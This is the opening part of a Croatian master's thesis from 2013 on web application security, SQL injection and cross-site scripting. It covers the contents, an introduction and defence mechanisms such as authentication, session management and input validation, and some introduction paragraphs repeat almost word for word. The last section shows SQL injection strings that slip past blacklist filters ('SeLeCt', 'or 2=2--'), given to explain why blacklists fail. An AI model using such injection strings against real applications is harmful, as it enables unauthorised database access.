127
SVEUČILIŠTE U ZAGREBU FAKULTET ORGANIZACIJE I INFORMATIKE V A R A Ž D I N Matija Paravac SIGURNOST U BAZAMA PODATAKA: SQL INJECTION I CROSS SITE SCRIPTING DIPLOMSKI RAD Varaždin, 2013.

SIGURNOST U BAZAMA PODATAKA: SQL INJECTION I CROSS … · kao što je SQL injection ranjivost. (U daljnjem tekstu SQLi) Novi slučajevi ranjivosti postaju (U daljnjem tekstu SQLi)

  • Upload
    others

  • View
    10

  • Download
    0

Embed Size (px)

Citation preview

SVEUČILIŠTE U ZAGREBU

FAKULTET ORGANIZACIJE I INFORMATIKE

V A R A Ž D I N

Matija Paravac

SIGURNOST U BAZAMA PODATAKA: SQL

INJECTION I CROSS SITE SCRIPTING

DIPLOMSKI RAD

Varaždin, 2013.

SVEUČILIŠTE U ZAGREBU

FAKULTET ORGANIZACIJE I INFORMATIKE

V A R A Ž D I N

Matija Paravac

Izvanredni student

Smjer: Baze podataka i baze znanja

Diplomski studij

SIGURNOST U BAZAMA PODATAKA: SQL

INJECTION I CROSS SITE SCRIPTING

DIPLOMSKI RAD

Mentor:

Doc. dr. sc. Markus Schatten

Varaždin, rujan 2013.

Sadržaj

1 UVOD ............................................................................................................................................. 2

1.1 Varljiva jednostavnost ............................................................................................................. 6

2 OBRAMBENI MEHANIZMI ......................................................................................................... 8

Rukovanje korisničkim pristupom ...................................................................................................... 8

2.1.1 Autentifikacija ................................................................................................................. 9

2.1.2 Upravljanje sesijama ....................................................................................................... 9

2.1.3 Kontrola pristupa ........................................................................................................... 10

Rukovanje unosom korisničkih podataka .......................................................................................... 10

2.1.4 Različiti pristupi rukovanja unosima - Odbaciti sve što se zna da je loše. .................... 11

2.1.5 Prihvati sve što se zna da je dobro. ................................................................................ 12

2.1.6 Saniranje ........................................................................................................................ 12

2.1.7 Sigurno rukovanje podacima ......................................................................................... 13

2.1.8 Semantičke provjere ...................................................................................................... 13

2.1.9 Granica validacije .......................................................................................................... 13

2.1.10 Više-koračna validacija ................................................................................................. 14

2.2 Rukovanje napadačima .......................................................................................................... 16

2.2.1 Rukovanje greškama ..................................................................................................... 16

2.2.2 Održavanje revizijskih logova ....................................................................................... 17

2.2.3 Reagiranje na napade ..................................................................................................... 19

2.2.4 Upravljanje aplikacijom ................................................................................................ 19

3 HTTP protokol .............................................................................................................................. 20

3.1 HTTP Request ....................................................................................................................... 20

3.2 HTTP Response ..................................................................................................................... 22

3.3 Generalna zaglavlja ............................................................................................................... 23

3.3.1 Dodatna zaglavlja zahtjeva ............................................................................................ 23

3.3.2 Dodatna zaglavlja odgovora .......................................................................................... 24

3.4 HTTP metode: ....................................................................................................................... 24

3.5 Cookie ................................................................................................................................... 25

3.6 Statusni kodovi ...................................................................................................................... 26

3.7 HTTP autentifikacija ............................................................................................................. 28

3.7.1 URL kodiranje ............................................................................................................... 28

3.7.2 Unicode kodiranje ......................................................................................................... 29

3.7.3 HTML kodiranje ............................................................................................................ 29

3.7.4 Base64 Encoding ........................................................................................................... 30

3.7.5 Heks kodiranje ............................................................................................................... 31

4 Mapiranje aplikacija ...................................................................................................................... 32

5 NAPADI ........................................................................................................................................ 33

5.1 Zaobilaženje kontrola na strani klijenta................................................................................. 33

5.1.1 Sakrivena polja unutar forma ........................................................................................ 33

5.1.2 HTTP Cookies ............................................................................................................... 33

5.1.3 URL Parametri .............................................................................................................. 34

5.1.4 Referer zaglavlje ............................................................................................................ 34

5.1.5 Zamućeni podaci ........................................................................................................... 35

5.1.6 ASP.NET ViewState ..................................................................................................... 36

5.2 HTML forme ......................................................................................................................... 37

5.2.1 Ograničenja dužine ........................................................................................................ 37

5.2.2 Validacija temeljena na skriptama ................................................................................. 38

5.2.3 Onemogućavanje HTML elemenata .............................................................................. 39

5.3 Ekstenzije web preglednika ................................................................................................... 39

5.3.1 FLASH .......................................................................................................................... 40

5.4 Napadi na autentifikaciju ....................................................................................................... 40

5.4.1 Loše lozinke .................................................................................................................. 41

5.4.2 Nesiguran prijenos korisničkih podataka ...................................................................... 42

5.4.3 Nesigurna pohrana korisničkih podataka ...................................................................... 42

5.4.4 Attack session management .......................................................................................... 42

5.4.5 Alternativa sesijama ...................................................................................................... 42

5.4.6 Napad na kontrolu pristupa ........................................................................................... 43

6 NAPAD NA POHRANU PODATAKA ....................................................................................... 44

6.1 SQL injection ........................................................................................................................ 45

6.1.1 Kategorizacija i klasifikacija SQLi-a ............................................................................ 45

6.1.2 Ubacivanja u numeričke parametre ............................................................................... 46

6.1.3 Otkrivanje baze podataka u pozadini............................................................................. 48

6.1.4 UNION operator ............................................................................................................ 48

6.1.5 Zaobilaženje filtra .......................................................................................................... 52

6.1.6 Ugrađene funkcije ......................................................................................................... 54

6.1.7 Utjecaj napada na OS .................................................................................................... 56

6.1.8 Izazivanje kondicionalnih grešaka(Error based) ........................................................... 56

6.1.9 Napadi temeljeni na vremenu ........................................................................................ 57

6.1.10 Eskalacija SQLi napada ................................................................................................. 59

6.1.11 SQLMAP ....................................................................................................................... 60

6.1.12 Sprečavanje SQLi-a ....................................................................................................... 60

6.2 NoSQL injection .................................................................................................................... 62

6.2.1 MongoDB ...................................................................................................................... 62

6.2.2 XPATH injection ........................................................................................................... 63

7 CROSS-SITE SCRIPTING ........................................................................................................... 67

7.1 Non-persistent ili Reflected XSS ........................................................................................... 67

7.2 DOM-based ........................................................................................................................... 68

7.3 Persistent ili stored XSS ........................................................................................................ 71

7.4 Ostali ranjivosti temeljene na XSS-u .................................................................................... 72

7.4.1 Preusmjeravanje ............................................................................................................ 72

7.4.2 CSRF ............................................................................................................................. 73

7.4.3 FLASH .......................................................................................................................... 75

7.5 HTTP Response Injection...................................................................................................... 76

Zaobilaženje XSS ograničenja dužine ............................................................................................... 77

Zaobilaženje XSS filtra ..................................................................................................................... 79

7.6 METODE XSS NAPADA .................................................................................................... 86

7.6.1 Krađa povijesti pregledavanja web stranica-(History theft) .......................................... 86

7.6.2 Intranet hakiranje ........................................................................................................... 87

7.7 Napredni XSS vektori ........................................................................................................... 89

7.7.1 Napadi na DNS .............................................................................................................. 89

7.8 XSS crvi (WORMS) i trojani ................................................................................................ 90

7.8.1 Vrste XSS crva .............................................................................................................. 90

7.8.2 XSS trojani .................................................................................................................... 92

8 Obrana od SQLi XSS u praksi....................................................................................................... 94

8.1 RUBY on RAILS .................................................................................................................. 94

8.2 C#/ASP.NET ......................................................................................................................... 98

8.3 PHP ...................................................................................................................................... 100

8.4 Java ...................................................................................................................................... 104

8.5 Python .................................................................................................................................. 110

9 ZAKLJUČAK ............................................................................................................................. 120

10 LITERATURA ........................................................................................................................ 121

Slika 1:Prikazuje incidente na uzorku od preko 100 aplikacija testiranim od strane autora knjige The

Web Application Hacker's Handbook ..................................................................................................... 4

Slika 2: Validacija podataka na različitim razinama obrade ................................................................. 14

Slika 3: Prikazuje cijene knjiga. Napadač može ubacivati tekst i stimulirati kupce. ............................ 69

Slika 4:Google Phishing-Trojan ............................................................................................................ 93

Slika 5:Ruby bcrypt uporaba ................................................................................................................. 96

Slika 6: Korištenje form_for metode ..................................................................................................... 96

Slika 7: Korištenje link_to i h aliasa...................................................................................................... 97

Slika 8:Zaštita od CSRF u Rails-u ........................................................................................................ 97

Slika 9:Biblioteke koje ako se pravilno koriste nude vrlo dobru zaštitu. .............................................. 98

Slika 10: Jedan dio automatski izgenerirane web aplikacije ................................................................. 99

Slika 11:izgled forme za prijavu korisnika .......................................................................................... 102

Slika 12: izgled forme za registraciju korisnika .................................................................................. 102

Slika 13: prikazuje sažimanje lozinke kod prijave, i korištenje pripremljenih izjava ......................... 103

Slika 14:Zaštita od kađe sesija ............................................................................................................ 103

Slika 15: Zaštita od XSS-a filtriranjem ............................................................................................... 103

Slika 16:Sažimanje(hashing)lozinke ................................................................................................... 103

Slika 17:Korištenje pripremljeni izjava kao zaštita protiv SQLi ......................................................... 105

Slika 18:XSS filter............................................................................................................................... 106

Slika 19:Upotreba XSS filtera za filtriranje zahtjeva i odgovora ........................................................ 107

Slika 20:Klasa koja se koristi kod sažimanje lozinke.......................................................................... 108

Slika 21:Sve lozinke unutar baze su sažete/šifrirane ........................................................................... 109

Slika 22:Prikaz datoteke sa web adresama i sesijama ......................................................................... 110

Slika 23:Prikaz datoteke sa testnim nizovima za SQLi ....................................................................... 111

Slika 24: Prikaz datoteke sa testnim nizovima za XSS ....................................................................... 111

2

1 UVOD

Više od deset godina nakon širokog i općeg prihvaćanja web aplikacija na Internetu, one su

još uvijek prepune ranjivosti. Razumijevanje sigurnosnih prijetnji orijentiranih prema web

aplikacijama, i efektivnih načina njihovog rješavanja još uvijek nije dovoljno dobro razvijeno.

Iako se njihovo pojavljivanje smanjuje još uvijek se pronalaze, stare i dobro poznate ranjivosti

kao što je SQL injection ranjivost. (U daljnjem tekstu SQLi) Novi slučajevi ranjivosti postaju

sve teži za pronalaženje i iskorištavanje. Danas nije više dovoljan web preglednik za njihovo

otkrivanje.

Svaka web aplikacija u svojoj pozadini ima bazu podataka, i upravno zbog toga se u današnje

vrijeme najviše napada na baze podataka dešava upravo kroz ranjivosti u web aplikacijama.

Može se reći da su nedovoljno dobro zaštićene web aplikacije, najveća sigurnosna prijetnja

bazama podataka koje su u njihovoj pozadini na poslužitelju.

Dolaskom bilo koje nove web tehnologije stvaraju se nove vrste ranjivosti. Potrebno je neko

vrijeme da se te ranjivosti otkriju jer kod razvijanja postojećih web aplikacija, mogućnosti

novih vrsta napada najčešće nisu uzete obzir.

Najozbiljniji napadi na web aplikacije su oni kod kojih se dolazi do osjetljivih podataka ili se

dobije pristup sustavima koji rade u pozadini aplikacije. Za mnogo poduzeća, bilo kakav

napad koji uzrokuje prekid rada sustava, je kritičan.

Prema iskustvima, upravo na području sigurnosti web aplikacija se odvija velika bitka između

napadača i onih sa podacima i resursima koji se brane.

Većina aplikacija iskazuje da je sigurna jer koristi SSL. Evo primjera nekoliko takvih izjava:

„This site is absolutely secure. It has been designed to use 128-bit Secure Socket

Layer (SSL) technology to prevent unauthorized users from viewing any of your

information. You may use this site with peace of mind that your data is safe with us.“

Korisnike se često navodi da provjere i pogledaju web certifikate i napredne kriptografske

protokole koji se koriste na nekom mjestu i to sve u cilju, da se na toj osnovi izgradi

povjerenje, i da im korisnici provjere svoje osobne informacije.

„We take security very seriously. Our web site is scanned daily to ensure that we

remain PCI compliant and safe from hackers. You can see the date of the latest scan

on the logo below, and you are guaranteed that our web site is safe to use.“

U pravilu velika većina web aplikacije nije sigurna, unatoč rasprostranjenoj i često korištenoj

SSL tehnologiji i PCI(Payment Card Industry) skeniranju.

3

(PCI vijeće se sastoji od 5 najvećih kompanija za kreditne kartice i oni su osmislili set

sigurnosnih standarda kako bi osigurali konzistentnost kod procesuiranja kreditnih kartica. Svi

oni koji nude uslugu plaćanja/kupovine moraju pristati na sigurnosna skeniranja mreže i PCI-

a)

1Na nekoliko stotina web aplikacija koje su testirane u razdoblju od 2007-2011 napravljene

su analize najučestalijih ranjivosti:

Ranjiva autentifikacija (62%) – odnosni se na različite nepravilnosti unutar

mehanizma za prijavu, koje mogu napadaču omogućiti pogađanje slabih lozinki,

uporabu brute-force napada, ili zaobilaženje prijave.

Dozvole pristupa (Access Controls 71%) – odnosi se na slučajeve gdje aplikacija ne

štiti dovoljno dobro svoju funkcionalnost i podatke te na taj način omogućuje

potencijalnom napadaču pristup osjetljivim podacima na serveru ili izvršavanje nekih

privilegiranih akcija.

SQL injection (32%) – odnosi se na ranjivost pri kojoj napadač podnese izrađeni unos

koji ometa interakciju sa bazom podataka u pozadini. Napadač može proizvoljno

dohvaćati podatke iz aplikacije, interferirati sa njenom logikom, ili izvršavati komande

nad samom bazom podataka na serveru.

Cross-site scripting (94%) – Ova ranjivost omogućuje napadaču da napada druge

korisnike aplikacije, dobije pristup njihovim podacima radeći akcije za koje nisu

autorizirani, i izvršavanje drugih napada na korisnika.

Curenje informacija (78%) – odnosi se na situacije gdje aplikacija sama po sebi

otkriva osjetljive i povjerljive informacije koje su od koristi napadaču u izvršavanju

napada na tu aplikaciju. Tu spada nepravilno rukovanje pogreškama i sl.

Cross-site request forgery (92%) – odnosi se na slučajeve gdje su korisnici aplikacije prisiljeni

izvršiti nenamjerne akcije prema aplikaciji sa svog korisničkog računa i unutar svojih prava i

ograničenja. Ova ranjivost omogućuje malicioznoj web stranici koja je posjećena od strane

korisnika da ima interakciju sa aplikacijom da bi izvršila akcije koje korisnik nije imao

namjeru izvršiti.

1 Izvor: The Web Application Hacker's Handbook str. 7

4

2Slika 1:Prikazuje incidente na uzorku od preko 100 aplikacija testiranim od strane autora knjige The Web Application

Hacker's Handbook

SSL je vrlo dobra tehnologija koja štiti povjerljivost i integritet podataka koji se prenose

između korisnikovog web preglednika i web poslužitelja. Pomaže u obrani protiv

prisluškivanja i „sniffera“ i može pružiti sigurnost identiteta web poslužitelja kojem korisnik

pristupa. Ali ne može spriječiti napade koji su direktno usmjereni na web poslužitelj ili na

komponente aplikacije kao što i većina uspješnih napada je. Treba naglasiti da ne sprečava

niti jednu od ranjivosti koju su navedene malo prije u tekstu, a niti puno drugih koje mogu

učiniti da aplikacija bude izložena napadu. Bez obzira na to da li aplikacije koriste SSL ili ne,

većina ih još uvijek sadrži sigurnosne propuste.

Jezgra problema sigurnosti je što su aplikacije na poslužitelju izložene unosima proizvoljnih

podataka od strane korisnika. Aplikacija treba uzeti u obzir da sav unos podataka može biti

potencijalno opasan. Stoga, moraju se poduzeti koraci kako bi se osiguralo da napadači ne

mogu „izgraditi“ takav unos podataka koji bi ugrozio aplikaciju ometajući aplikacijsku logiku

i ponašanje i dobiti neovlašten pristup njenim podacima i funkcionalnosti.

Sa današnjima platforama i alatima za razvoj web aplikacija, moguće je i da programer

početnik napravi moćnu aplikaciju u relativno kratkom vremenu. Međutim, postoji velika

razlika između stvaranja koda koji je funkcionalan i onog koji je siguran. Mnoge web

aplikacije su napravili dobronamjerni individualci kojima nedostaje znanje i iskustvo da

identificiraju gdje bi mogli nastati sigurnosni problemi. Trend je u posljednjih nekoliko

godina korištenje aplikacijskih frameworka (npr. AppFuse, Grails...) koji pružaju gotove

komponente za brojne funkcionalnosti kao što su npr. autentifikacija, predlošci stranica,

2 Izvor: The Web Application Hacker's Handbook str. 8

5

oglasne ploče, integracija sa komponentama u back-end infrastrukturi itd. Pomoću njih se

može brzo i lagano napraviti aplikacija bez ikakvog tehničkog razumijevanja kako aplikacija

funkcionira ili potencijalne opasnosti ili ranjivosti koje može sadržavati. Najveći problem je

što puno tvrtki koriste iste ili slične framework-e i kad se otkrije sigurnosna rupa, utječe na

mnogo njih i svi su ugroženi.

Načini i vrste napada se vrlo brzo mijenjaju. Vrlo često se događa da programerski tim

započne sa razvojem aplikacije i ima potpuno znanje o trenutnim prijetnjama, ali do završetka

aplikacije status tih prijetnji se može promijeniti.

Većina web aplikacijskih projekata ograničeni su rokovima i financijama i dosta često je

slučaj da se sigurnosna testiranja stavljaju na kraj životnog ciklusa razvoja programskog

proizvoda i dešava se da se niti ne provedu ili se provedu na brzinu i ne u potpunosti. Razlog

tome je što kod postavljanja prioriteta do roka isporuke veći prioritet imaju stabilnost i

funkcionalnost aplikacije nego sigurnost.

Važna stvar kod razvoja web aplikacija je odabir odgovarajućih tehnologija. Mnogo

tehnologija koje se koriste u razvoju web aplikacija su bile napravljene i namijenjene za

drugačije okružje World wide web-a nego što je to danas. Može se reći da ih se od tada pa do

danas „guralo“ i „sililo“ i preko onoga za što su prvobitno bile namijenjene odnosno zbog

čega su stvorene. Jedan takav primjer je uporaba JavaScript-a kao načina prijenosa podataka u

mnogim web aplikacijama koje su temeljene na AJAX-u.

Očekivanja koja se postavljaju na funkcionalnosti web aplikacija se brzo razvijaju i

tehnologije koje su se prije koristile za implementaciju takvih funkcionalnosti zaostaju, te se

tada proširuju i prilagođavaju kako bi se podržale tražene funkcionalnosti. Kao posljedica

takvog načina, naravno javljaju se sigurnosne ranjivosti.

U sadašnje vrijeme je normalno i očekuje se da jedan korisnički profil za razliku od prijašnjih

statičkih profila , sadrži upload-a slika, editiranje stranica u wiki stilu, nudi mogućnost

password recovery-a, username recovery-a, password hint-ove, opcije za pamćenje

korisničkih imena i lozinki za buduće prijave i sl. Zaboravlja se da svaka takva značajka

proširuje mogućnosti i mjesta napada.

Prije masovne pojave web aplikacija, organizacije i poduzeća su se trudila osigurati područje

mreža i mrežnih tehnologija kao zaštitu od napada. To se radilo pojačavajući i radeći zakrpe

na servisima i vatrozidima. Web aplikacije su sve to promijenile. Da bi web aplikacija bila

dostupna korisnicima, moraju se dozvoliti konekcije na poslužitelj preko HTTP ili HTTPS

protokola. A da bi aplikacija funkcionirala mora joj se dozvoliti da se spaja na servise i

sustave u pozadini kao što su baze podataka, glavne poslužitelje, financijske i logičke sustave

6

i sl. Takvi sustavi često leže u srži operacija i poslovanja neke organizacije i nalaze se iza

nekoliko slojeva mrežnih filtracija i vatrozida.

Dakle, ako postoji ranjivost unutar web aplikacije, moguće je da napadač sa javne mreže,

Interneta ugrozi jezgru pozadinskih sustava neke organizacije unošenjem zlonamjernih

podataka unutar web forme svog web preglednika. Ti uneseni podaci prolaze kroz sve slojeve

mrežne sigurnosti kao i oni normalni dobronamjerni podaci. Iz ovoga se može zaključiti da se

sigurnosno područje tipične organizacije širi i pomiče. Dio sigurnosti su još uvijek vatrozidi,

ali velik dio otpada i na sigurnost web aplikacije, ali i na sigurnost korisnika od strane tipova

napada koji su orijentirani na njih.

1.1 Varljiva jednostavnost 3Sa današnjima platforama i alatima za razvoj web aplikacija, moguće je i da programer

početnik napravi moćnu aplikaciju u relativno kratkom vremenu. Međutim, postoji velika

razlika između stvaranja koda koji je funkcionalan i onog koji je siguran. Mnoge web

aplikacije su napravili dobronamjerni individualci kojima nedostaje znanje i iskustvo da

identificiraju gdje bi mogli nastati sigurnosni problemi. Trend je u posljednjih nekoliko

godina korištenje aplikacijskih frameworka (npr. AppFuse, Grails...) koji pružaju gotove

komponente za brojne funkcionalnosti kao što su npr. autentifikacija, predlošci stranica,

oglasne ploče, integracija sa komponentama u back-end infrastrukturi itd. Pomoću njih se

može brzo i lagano napraviti aplikacija bez ikakvog tehničkog razumijevanja kako aplikacija

funkcionira ili potencijalne opasnosti ili ranjivosti koje može sadržavati. Najveći problem je

što puno tvrtki koriste iste ili slične framework-e i kad se otkrije sigurnosna rupa, utječe na

mnogo njih i svi su ugroženi.

Načini i vrste napada se vrlo brzo mijenjaju. Vrlo često se događa da programerski tim

započne sa razvojem aplikacije i ima potpuno znanje o trenutnim prijetnjama, ali do završetka

aplikacije status tih prijetnji se može promijeniti.

Većina web aplikacijskih projekata ograničeni su rokovima i financijama i dosta često je

slučaj da se sigurnosna testiranja stavljaju na kraj životnog ciklusa razvoja programskog

proizvoda i dešava se da se niti ne provedu ili se provedu na brzinu i ne u potpunosti. Razlog

tome je što kod postavljanja prioriteta do roka isporuke veći prioritet imaju stabilnost i

funkcionalnost aplikacije nego sigurnost.

3 Izvor: The Web Application Hacker's Handbook str. 10

7

Važna stvar kod razvoja web aplikacija je odabir odgovarajućih tehnologija. Mnogo

tehnologija koje se koriste u razvoju web aplikacija su bile napravljene i namijenjene za

drugačije okružje World wide web-a nego što je to danas. Može se reći da ih se od tada pa do

danas „guralo“ i „sililo“ i preko onoga za što su prvobitno bile namijenjene odnosno zbog

čega su stvorene. Jedan takav primjer je uporaba JavaScript-a kao načina prijenosa podataka u

mnogim web aplikacijama koje su temeljene na AJAX-u.

Očekivanja koja se postavljaju na funkcionalnosti web aplikacija se brzo razvijaju i

tehnologije koje su se prije koristile za implementaciju takvih funkcionalnosti zaostaju, te se

tada proširuju i prilagođavaju kako bi se podržale tražene funkcionalnosti. Kao posljedica

takvog načina, naravno javljaju se sigurnosne ranjivosti.

U sadašnje vrijeme je normalno i očekuje se da jedan korisnički profil za razliku od prijašnjih

statičkih profila , sadrži upload-a slika, editiranje stranica u wiki stilu, nudi mogućnost

oporavka lozinke, oporavka korisničkog imena, nagovještavanje lozinki, opcije za pamćenje

korisničkih imena i lozinki za buduće prijave i sl. Zaboravlja se da svaka takva značajka

proširuje mogućnosti i mjesta napada.

Prije masovne pojave web aplikacija, organizacije i poduzeća su se trudila osigurati područje

mreža i mrežnih tehnologija kao zaštitu od napada. To se radilo pojačavajući i radeći zakrpe

na servisima i vatrozidima. Web aplikacije su sve to promijenile. Da bi web aplikacija bila

dostupna korisnicima, moraju se dozvoliti konekcije na poslužitelj preko HTTP ili HTTPS

protokola. A da bi aplikacija funkcionirala mora joj se dozvoliti da se spaja na servise i

sustave u pozadini kao što su baze podataka, glavne poslužitelje, financijske i logičke sustave

i sl. Takvi sustavi često leže u srži operacija i poslovanja neke organizacije i nalaze se iza

nekoliko slojeva mrežnih filtracija i vatrozida.

Ako postoji ranjivost unutar web aplikacije, moguće je da napadač sa javne mreže, Interneta

ugrozi jezgru pozadinskih sustava neke organizacije unošenjem zlonamjernih podataka unutar

web forme svog web preglednika. Ti uneseni podaci prolaze kroz sve slojeve mrežne

sigurnosti kao i oni normalni dobronamjerni podaci. Iz ovoga se može zaključiti da se

sigurnosno područje tipične organizacije širi i pomiče. Dio sigurnosti su još uvijek vatrozidi,

ali velik dio otpada i na sigurnost web aplikacije, ali i na sigurnost korisnika od strane tipova

napada koji su orijentirani na njih.

8

2 OBRAMBENI MEHANIZMI

4Obrambeni mehanizmi u web aplikacijama obuhvaćaju sljedeće elemente:

Rukovanje korisničkim pristupima prema podacima i funkcionalnostima aplikacije da

bi se korisnici spriječili od neovlaštenog pristupa

Rukovanje korisničkim unosima prema funkcijama aplikacije kako bi se spriječili

štetni unosi koji uzrokuju nepoželjno ponašanje

Rukovanje napadima kako bi se osiguralo da se aplikacija ponaša ispravno za vrijeme

izravnih napada poduzimanjem prikladnih napadačkih i obrambenih mjera kako bi se

napadač demoralizirao.

Upravljanje aplikacijom tako da se administratorima omogući nadgledanje aktivnosti i

konfiguriranje funkcionalnosti.

Rukovanje korisničkim pristupom

5Gotovo svaka aplikacija ima potrebu za kontroliranjem korisničkog pristupa. Uobičajeno je da postoje

nekoliko različitih kategorija korisnika kao što su anonimni korisnici, autentificirani korisnici i

administrativni korisnici. Nadalje, u dosta slučajeva različitim korisnicima je dozvoljen pristup

različitim skupinama podataka. Na primjer, korisnici web elektroničke pošte trebali bi imati

mogućnost čitanja vlastitih mailova ali ne i mailova od drugih korisnika. Većina aplikacija rukuje

pristupom trima sigurnosnim mehanizmima:

Autentifikacija

Upravljanje sesijama

Kontrola pristupa

Ova tri mehanizma su temelj sigurnosti web aplikacije i baze podataka u pozadini i vrlo usko su

povezana. Sva tri trebaju funkcionirati besprijekorno, jer je sustav siguran/jak onoliko koliko je

sigurna/jaka najslabija karika u lancu.

4 Izvor: The Web Application Hacker's Handbook str 17.

5 Izvor: The Web Application Hacker's Handbook str 18.

9

2.1.1 Autentifikacija

6Autentifikacijski mehanizam služi za provjeru korisnika, odnosno da li je korisnik zapravo

onaj za koga se predstavlja. Bez ovog mehanizma aplikacija bi sve korisnike smatrala kao

anonimne. Autentifikacijski model je u velikoj većini isti. Svugdje se traži od korisnika unos

korisničkog imena i lozinke koje onda aplikacija provjerava da li su validni. Postoji naravno i

kompliciraniji autentifikacijski modeli pogotovo ako se želi dodatna sigurnost, npr. kod

banka, tada se traže još neki dodatni parametri i višerazinski proces prijave. Što se tiče modela

autentifikacije, oni mogu biti temeljeni na autentifikaciji pomoću različitih certifikata,

pametnih kartica, ili tokena. Osim temeljnog procesa prijave, autentifikacijski mehanizmi

podržavaju mnogo drugih funkcionalnosti, kao što su registracija, oporavak račun, promjene

lozinke. Bez obzira što su autentifikacijski mehanizmi relativno jednostavni, pate od brojnih

nepravilnosti unutar dizajna i implementacije, a najviše su zastupljene nepravilnosti funkcija

unutar mehanizma.

2.1.2 Upravljanje sesijama

7Nakon uspješne prijave na web aplikaciju, korisnik ima pristup brojnim stranicama i

funkcionalnostima, radeći HTTP zahtjeve iz svog preglednika. U isto vrijeme aplikacija prima

mnogo zahtjeva i od drugih korisnika od kojih su neki prijavljeni u sustav a neki nisu.

Aplikacija mora znati koji zahtjevi su od kojeg korisnika i koja on prava ima. To se postiže

uporabom sesija. Sesija sama po sebi je skup podatkovnih struktura koji se nalaze na

poslužitelju i prati stanje korisnikove interakcije sa aplikacijom. Token je jedinstven zapis

koji aplikacija mapira u sesiju. Kada korisnik primi token, preglednik ga automatski podnosi

natrag prema poslužitelju i to tako u svakom sljedećem HTTP zahtjevu, omogućujući na taj

način aplikaciji da poveže koji zahtjev je došao od kojeg korisnika. HTTP cookies su

standardna metoda prijenosa sesijskih tokena, iako mnogo aplikacija za ovu svrhu koristi

sakrivena polja unutar forma ili URL upite. Ako korisnik određeno vrijeme ne šalje nikakve

zahtjeve, sesija se prekine. Upravljanje sesijama jako ovisi o sigurnosti tokena. Glavnina

napada usmjerena je upravo na tokene drugih korisnika. Ako je token ugrožen, napadač se

može maskirati kao korisnik-žrtva i može koristiti aplikaciju kao da je autentificiran u

korisnikovo ime. Mali broj aplikacija izostavlja uporabu tokena i koriste ostale načine

redefiniranja korisnika kroz višestruke HTTP zahtjeve. Tada preglednik automatski ponovno

podnosi korisničke podatke sa svakim novim zahtjevom i na taj način aplikacija može

6 Izvor: The Web Application Hacker's Handbook str. 18

7 Izvor: The Web Application Hacker's Handbook str. 19

10

identificirati korisnika. U nekim slučajevima aplikacija sprema informacije o stanju ne na

serveru nego na klijentskoj strani i tada se te informacije naravno kriptiraju.

2.1.3 Kontrola pristupa

8Kontrola pristupa odnosi se na odluke o tome da li bi svaki individualan zahtjev trebao biti

dopušten ili odbijen. Ako mehanizmi opisani prije u tekstu funkcioniraju ispravno, aplikacija

zna identitet korisnika od kojeg je primila zahtjev i na toj osnovi mora odlučiti da li je

korisnik autoriziran da napravi pojedinu akciju ili pristupi podacima ili nije. Iza mehanizma

za kontrolu pristupa stoji naprednija logika sa različitim razmatranjima koji se odnose na

različita područja aplikacije i različite tipove funkcionalnosti. Aplikacija može podržavati

brojne uloge (role), koje uključuju različite kombinacije specifičnih privilegija i dopuštenja.

Individualnim korisnicima može biti odobren pristup jednom dijelu/podskupu podataka koji

se nalaze u aplikaciji unutar baze podataka. Zbog kompleksne prirode zahtjeva kontrole

pristupa, ovaj mehanizam je često izvor sigurnosnih ranjivosti koji omogućuju napadaču

neautoriziran pristup podacima i funkcionalnosti. Programeri često čine krive pretpostavke o

tome kakva će biti interakcija između korisnika i aplikacije i često propuste napraviti provjere

za kontrolu pristupa za pojedine funkcije aplikacije. Ispitivanje takvih ranjivosti je vrlo

naporno, međutim uvijek se isplati.

Rukovanje unosom korisničkih podataka

9Kao što je već rečeno, svaki unos od strane korisnika je potencijalno opasan i ne može mu se

vjerovati. Mnogo različitih napada na web aplikacije uključuje slanje neočekivanog unosa,

izrađenog da stvori ponašanje koje nije bilo namijenjeno od strane dizajnera/arhitekata

aplikacije.

Aplikacija može nametnuti vrlo stroge provjere za svaki od unosa. Na primjer korisničko ime

kod prijave u sustav može imati maksimalnu duljinu od osam znakova i sadržavati samo

slova. U drugima slučajevima, aplikacija mora tolerirati široku mogućnost mogućeg unosa.

Na primjer polje za unos adrese može sadržavati slova, brojke, razmake, crtice, apostrofe i

druge znakove. I u ovoj situaciji unos korisnika se može ograničiti na određenu dužinu (npr.

50 znakova) i ne smije sadržavati HTML oznake.

U nekim situacijama aplikacija će morati prihvatiti proizvoljan unos od strane korisnika. Na

primjer korisnik napravi blog na temu hakiranja, i u svom sadržaju ima puno opasnih upita i

8 Izvor: The Web Application Hacker's Handbook str. 20

9 Izvor: The Web Application Hacker's Handbook str. 21

11

zapisa i još dozvoljava pisanje komentara koji mogu imati štetne zapise koje će aplikacija

morati spremiti u bazu podataka i ponovno ih prikazati.

Uz sve te različite tipove unosa koji korisnici unose koristeći sučelje preglednika, tipična

aplikacija prima i stavke podataka čiji život počinje na poslužitelju pa se šalju klijentu tako da

ih klijent može prenijeti natrag na poslužitelj sljedećim zahtjevom. To uključuje stavke kao

što su cookie-i i sakrivena polja unutar forma koja nisu vidljiva običnim korisnicima

aplikacije ali koje napadači mogu vidjeti i mijenjati njihov sadržaj. U tim slučajevima

aplikacija često može izvesti vrlo specifične provjere dobivenih podataka. Na primjer,od

parametra se može zahtijevati da sadrži neke specifične vrijednosti kao što su cookie koji

pokazuje informacije o jeziku korisnika, specifičan format, kao što je kod kupca ID broj.

Dakle, kada aplikacija detektira da su podaci koje je izgenerirao poslužitelj mijenjani na način

koji nije moguć od strane normalnog korisnika i standardnog web preglednika to ukazuje na

to da je korisnik ispitivao ili tražio ranjivosti u aplikaciji. U takvim situacijama aplikacija bi

trebala odbaciti zahtjev i zabilježiti incident za potencijalnu istragu.

2.1.4 Različiti pristupi rukovanja unosima - Odbaciti sve što se zna da je loše.

10Obično se sastoji od liste nedozvoljenih nizova ili uzorka/šablona za koje se zna da se

koriste u napadima. Validacijski mehanizam blokira sve podatke koji se podudaraju s onima u

"crnoj"/nedozvoljenoj listi. Ovaj način ima najmanje efekta jer se ranjivost unutar web

aplikacija mogu iskoristiti uz pomoć raznih vrsta unosa , od kojih neki mogu biti kodirani i

napisani na različite načine. Vrlo je vjerojatno da će "crna"lista izostaviti neke šablone koje se

koriste za napade. Druga stvar je i da iskorištavanje ranjivosti napreduje odnosno evoluira, i

vrlo vjerojatno trenutna lista ih neće blokirati niti spriječiti. Mnogo filtra temeljenih na

"crnim" listama se mogu zaobići vrlo lako, i to radeći trivijalne promjene i prilagodbe na unos

koji je trenutno blokiran.

Primjer 1:

Ako je SELECT blokiran, može se pokušati sa SeLeCt

Ako je or 1=1-- blokiran, može se pokušati sa or 2=2--

